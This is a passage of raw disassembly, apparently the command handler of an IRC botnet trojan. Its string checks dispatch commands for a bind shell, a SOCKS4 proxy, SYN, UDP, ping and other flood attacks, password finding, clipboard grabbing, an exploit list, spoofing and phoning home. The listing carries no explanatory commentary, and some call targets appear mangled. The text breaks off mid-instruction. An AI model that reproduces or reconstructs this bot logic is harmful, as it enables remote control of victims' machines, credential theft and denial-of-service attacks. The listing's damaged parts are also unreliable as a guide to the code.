sub_401ACD+E77j push offset asc_42CDD0 ; " " push ebx call sub_41CAD4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40292F mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F75 add ecx, 3 mov [eax], ecx loc_402961: ; CODE XREF: sub_401ACD+C9Dj mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aRn ; "rn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4095F2 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aDi3 ; "di3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4049B3 push edi push offset aLogout ; "logout" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aLo ; "lo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404911 push edi push offset aVersion ; "version" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aVer ; "ver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRulez ; "rulez" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aRz ; "rz" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048F8 push edi push offset aSpeedtest ; "speedtest" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSt ; "st" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4048DF push edi push offset aSecure ; "secure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aSec ; "sec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsecure ; "unsecure" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aUnsec ; "unsec" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4047E1 push edi push offset aBindshell ; "bindshell" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBd ; "bd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4046DB push edi push offset aBindshellstop ; "bindshellstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B0E push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA14 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_401ACD+1027j push edi push offset aSocks4 ; "socks4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aS4 ; "s4" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045B9 push edi push offset aSocks4stop ; "socks4stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B61 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9EC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_401ACD+107Aj push edi push offset aRloginstop ; "rloginstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402B8A push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9D0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B8A: ; CODE XREF: sub_401ACD+10A3j push edi push offset aHttpstop ; "httpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BB3 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9B4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BB3: ; CODE XREF: sub_401ACD+10CCj push edi push offset aLogstop ; "logstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402BDC push [ebp+esi+var_8C] push 25h push offset dword_42C9A0 push offset dword_42C994 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_401ACD+10F5j push edi push offset aRedirectstop ; "redirectstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C05 push [ebp+esi+var_8C] push 18h push offset dword_42C974 push offset dword_42C964 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_401ACD+111Ej push edi push offset dword_42C958 call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C2E push [ebp+esi+var_8C] push 0Dh push offset dword_42C94C push offset dword_42C940 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C2E: ; CODE XREF: sub_401ACD+1147j push edi push offset aSynstop ; "synstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C57 push [ebp+esi+var_8C] push 0Eh push offset dword_42C92C push offset dword_42C920 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C57: ; CODE XREF: sub_401ACD+1170j push edi push offset aSkysynstop ; "skysynstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402C80 push [ebp+esi+var_8C] push 10h push offset dword_42C904 push offset dword_42C8F4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C80: ; CODE XREF: sub_401ACD+1199j push edi push offset aTarga3stop ; "targa3stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CA9 push [ebp+esi+var_8C] push 11h push offset dword_42C8D8 push offset dword_42C8C8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_401ACD+11C2j push edi push offset aWonkstop ; "wonkstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402CD2 push [ebp+esi+var_8C] push 12h push offset dword_42C8B0 push offset dword_42C8A4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CD2: ; CODE XREF: sub_401ACD+11EBj push edi push offset aPacketstop ; "packetstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_402E28 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C94C push offset dword_42C940 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 0Eh push offset dword_42C92C push offset dword_42C920 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 17h push offset dword_42C88C push offset dword_42C880 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 16h push offset dword_42C874 push offset dword_42C868 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 11h push offset dword_42C8D8 push offset dword_42C8C8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 12h push offset dword_42C8B0 push offset dword_42C8A4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 0Fh push offset dword_42C858 push offset dword_42C848 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push esi push 13h push offset dword_42C838 push offset dword_42C828 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 add esp, 40h push esi push 10h push offset dword_42C904 push offset dword_42C8F4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B648 push ebx push [ebp+var_4] push offset unk_42C7F4 push [ebp+var_88] push edi call sub_409869 add esp, 34h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_402E28: ; CODE XREF: sub_401ACD+1214j push edi push offset aTsunamistop ; "tsunamistop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E51 push [ebp+esi+var_8C] push 0Fh push offset dword_42C858 push offset dword_42C848 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E51: ; CODE XREF: sub_401ACD+136Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402E7A push [ebp+esi+var_8C] push 13h push offset dword_42C838 push offset dword_42C828 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E7A: ; CODE XREF: sub_401ACD+1393j push edi push offset aUdpstop ; "udpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EA3 push [ebp+esi+var_8C] push 17h push offset dword_42C88C push offset dword_42C880 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EA3: ; CODE XREF: sub_401ACD+13BCj push edi push offset aPingstop ; "pingstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402ECC push [ebp+esi+var_8C] push 16h push offset dword_42C874 push offset dword_42C868 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402ECC: ; CODE XREF: sub_401ACD+13E5j push edi push offset aTftpstop ; "tftpstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402EF5 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7AC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_401ACD+140Ej push edi push offset aFindfilestop ; "findfilestop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aFfstop ; "ffstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4045A1 push edi push offset aProcsstop ; "procsstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aPsstop ; "psstop" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404589 push edi push offset aClonestop ; "clonestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F72 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C75C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_401ACD+148Bj push edi push offset aSecurestop ; "securestop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402F9B push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C738 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F9B: ; CODE XREF: sub_401ACD+14B4j push edi push offset aScanstop ; "scanstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_402FC4 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C718 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_401ACD+14DDj push edi push offset aScanstats ; "scanstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aStats ; "stats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404573 push edi push offset aTransferstats ; "transferstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aTrstats ; "trstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40455D push edi push offset aConnectbacksta ; "connectbackstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aCbstats ; "cbstats" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404547 push edi push offset aExploitlist ; "exploitlist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aExplist ; "explist" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404531 push edi push offset aReconnect ; "reconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aR ; "r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404512 push edi push offset aDisconnect ; "disconnect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aDc ; "dc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044F0 push edi push offset aQuit_0 ; "quit" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aQ ; "q" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4044A8 push edi push offset aStatus ; "status" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aS_0 ; "s" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404494 push edi push offset aId ; "id" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aI ; "i" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40445D push edi push offset aR3start ; "r3start" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403190 call sub_418884 test eax, eax mov eax, offset unk_42C658 jnz short loc_403162 mov eax, offset unk_42C634 loc_403162: ; CODE XREF: sub_401ACD+168Ej push eax lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 1Ch jmp loc_4082DE ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_401ACD+1680j push edi push offset aThreads ; "threads" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aT ; "t" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40437E push edi push offset aAliases ; "aliases" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aAl ; "al" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40435B push edi push offset aLog ; "log" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aLg ; "lg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404268 push edi push offset aClearlog ; "clearlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aClg ; "clg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40424C push edi push offset aNetinfo ; "netinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aNi ; "ni" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404212 push edi push offset aSysinfo ; "sysinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aSi ; "si" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041E7 push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aKosomaky4d ; "KOSOMAKY4D" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4041AD push edi push offset aProcs ; "procs" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aPs ; "ps" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aUptime ; "uptime" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aUp ; "up" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_404005 push edi push offset aDriveinfo ; "driveinfo" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aDrv ; "drv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FE8 push edi push offset aTestdlls ; "testdlls" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aDll ; "dll" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403FCF push edi push offset aOpencmd ; "opencmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aOcmd ; "ocmd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F5B push edi push offset aCmdstop ; "cmdstop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4033B1 push [ebp+esi+var_8C] push 0Ah push offset dword_42C580 push offset dword_42C574 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_401ACD+18CAj push edi push offset dword_42C570 call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4034C7 cmp [ebp+var_8], ebx jnz short loc_4033E5 push ebx push [ebp+var_4] push offset dword_42C55C push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4033E5: ; CODE XREF: sub_401ACD+18FCj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033EF: ; CODE XREF: sub_401ACD+196Cj mov eax, [ebp+arg_18] loc_4033F2: ; CODE XREF: sub_401ACD+1920j cmp [eax], bl jz short loc_4033F9 inc eax jmp short loc_4033FE ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_401ACD+1927j mov eax, offset aEmpty ; "<Empty>" loc_4033FE: ; CODE XREF: sub_401ACD+192Aj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C266 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033EF push offset unk_42C52C call sub_415D38 pop ecx loc_403446: ; CODE XREF: sub_401ACD+1BFDj ; sub_401ACD+2EFAj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F75 push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_404AAB push offset aOff ; "off" push edi call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4049D9 lea eax, [ebp+var_2C4] push offset unk_42C4F8 push eax mov dword_4CF190, ebx call sub_41C266 pop ecx pop ecx loc_40349D: ; CODE XREF: sub_401ACD+2FD9j cmp [ebp+var_8], ebx jnz loc_409644 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 loc_4034BF: ; CODE XREF: sub_401ACD+7032j add esp, 14h jmp loc_409644 ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_401ACD+18F3j push edi push offset aGetclip ; "getclip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aGc ; "gc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F1A push edi push offset aFlusharp ; "flusharp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFarp ; "farp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403F03 push edi push offset aFlushdns ; "flushdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aFdns ; "fdns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403ECB push edi push offset aCurrentip ; "currentip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aCip ; "cip" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403E91 push edi push offset aRloginserver ; "rloginserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aRlogin ; "rlogin" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403D56 push edi push offset aHttpserver ; "httpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aHttp ; "http" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403BCA push edi push offset aTftpserver ; "tftpserver" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aTftp ; "tftp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403A90 push edi push offset aShitycrash ; "shitycrash" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_403653 lea eax, [ebp+var_2C4] push offset unk_42C450 push eax call sub_41C266 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403632 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403632: ; CODE XREF: sub_401ACD+1B47j lea eax, [ebp+var_2C4] push eax call sub_415D38 mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41CA50 jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403653: ; CODE XREF: sub_401ACD+1B2Fj push edi push offset aAsc ; "asc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aAs ; "as" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_403789 push edi push offset aPhonehome ; "phonehome" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4036AA lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_409823 loc_4036A2: ; CODE XREF: sub_401ACD+47Bj add esp, 0Ch jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj push edi push offset aFindpass ; "findpass" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_4036D0 push edi push offset aFp ; "fp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_403446 loc_4036D0: ; CODE XREF: sub_401ACD+1BECj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax push offset unk_42C3D0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3BA add esp, 18h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4172C1 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_403778 loc_403762: ; CODE XREF: sub_401ACD+1CA9j cmp [ebp+var_F60], ebx jnz loc_4082DE push 32h nop call near ptr 2670EEFh jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403778: ; CODE XREF: sub_401ACD+1C93j call near ptr 26808B7h nop push eax push offset unk_42C394 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: sub_401ACD+1B95j ; sub_401ACD+1BAAj mov al, byte_4319EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4319EA jz loc_401F75 mov ecx, edx loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F75 mov [ebp+arg_18], edx loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj push 0Bh call sub_40B602 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403808 push ecx lea eax, [ebp+var_2C4] push offset dword_42C358 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h jmp loc_403A72 ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_401ACD+1D06j or [ebp+var_730], 0FFFFFFFFh cmp dword_431808, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_403875 mov eax, [ebp+arg_18] mov esi, offset dword_431808 lea edi, [eax-0Ah] loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj lea eax, [esi-28h] push edi push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40385B inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_40383F jmp short loc_403875 ; --------------------------------------------------------------------------- loc_40385B: ; CODE XREF: sub_401ACD+1D80j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431808[ecx] mov [ebp+var_74C], ecx loc_403875: ; CODE XREF: sub_401ACD+1D65j ; sub_401ACD+1D8Cj cmp [ebp+var_74C], ebx jz loc_403A86 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4CB988 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CBA70 push eax lea eax, [ebp+var_860] push eax call sub_41BFD0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C820 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40391D loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej cmp eax, ebx jz short loc_40391D mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038FB loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj ; sub_401ACD+1E30j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C360 push offset byte_43DB98 push offset aF ; "#f" call sub_41CA50 add esp, 14h test eax, eax jz short loc_40398A push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C360 add esp, 0Ch jmp short loc_403990 ; --------------------------------------------------------------------------- loc_40398A: ; CODE XREF: sub_401ACD+1EA0j mov [ebp+var_7D0], bl loc_403990: ; CODE XREF: sub_401ACD+1EBBj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039A2 mov eax, offset aSequential ; "Sequential" loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2D8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C600 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_403A2C loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj cmp [ebp+var_71C], ebx jnz short loc_403A47 push 32h nop call near ptr 2670EEFh jmp short loc_403A1A ; --------------------------------------------------------------------------- loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj call near ptr 26808B7h nop push eax lea eax, [ebp+var_2C4] push offset unk_42C29C push eax call sub_41C266 add esp, 0Ch loc_403A47: ; CODE XREF: sub_401ACD+1F53j cmp edi, ebx jnz short loc_403A65 push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx loc_403A72: ; CODE XREF: sub_401ACD+1D36j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4037B5 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_403A86: ; CODE XREF: sub_401ACD+1DAEj push offset unk_42C264 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401ACD+1B05j ; sub_401ACD+1B1Aj push 5 call sub_40B602 test eax, eax pop ecx jle short loc_403AA6 push offset unk_42C244 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AC9 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_403ADD ; --------------------------------------------------------------------------- loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx nop call near ptr 2670000h loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AED mov esi, offset byte_42910C loc_403AED: ; CODE XREF: sub_401ACD+2019j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C360 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C210 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412197 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_403BB9 loc_403BA3: ; CODE XREF: sub_401ACD+20EAj cmp [ebp+var_2AB8], ebx jnz loc_4081AD push 32h call near ptr 2670EEFh nop jmp short loc_403BA3 ; --------------------------------------------------------------------------- loc_403BB9: ; CODE XREF: sub_401ACD+20D4j nop call near ptr 26808B7h push eax push offset unk_42C1D4 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj ; sub_401ACD+1AF0j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BE9 push edi call sub_41C159 test eax, eax pop ecx jz short loc_403BE9 push edi call sub_41C159 pop ecx jmp short loc_403BEE ; --------------------------------------------------------------------------- loc_403BE9: ; CODE XREF: sub_401ACD+2106j ; sub_401ACD+2111j mov eax, dword_42907C loc_403BEE: ; CODE XREF: sub_401ACD+211Aj mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp 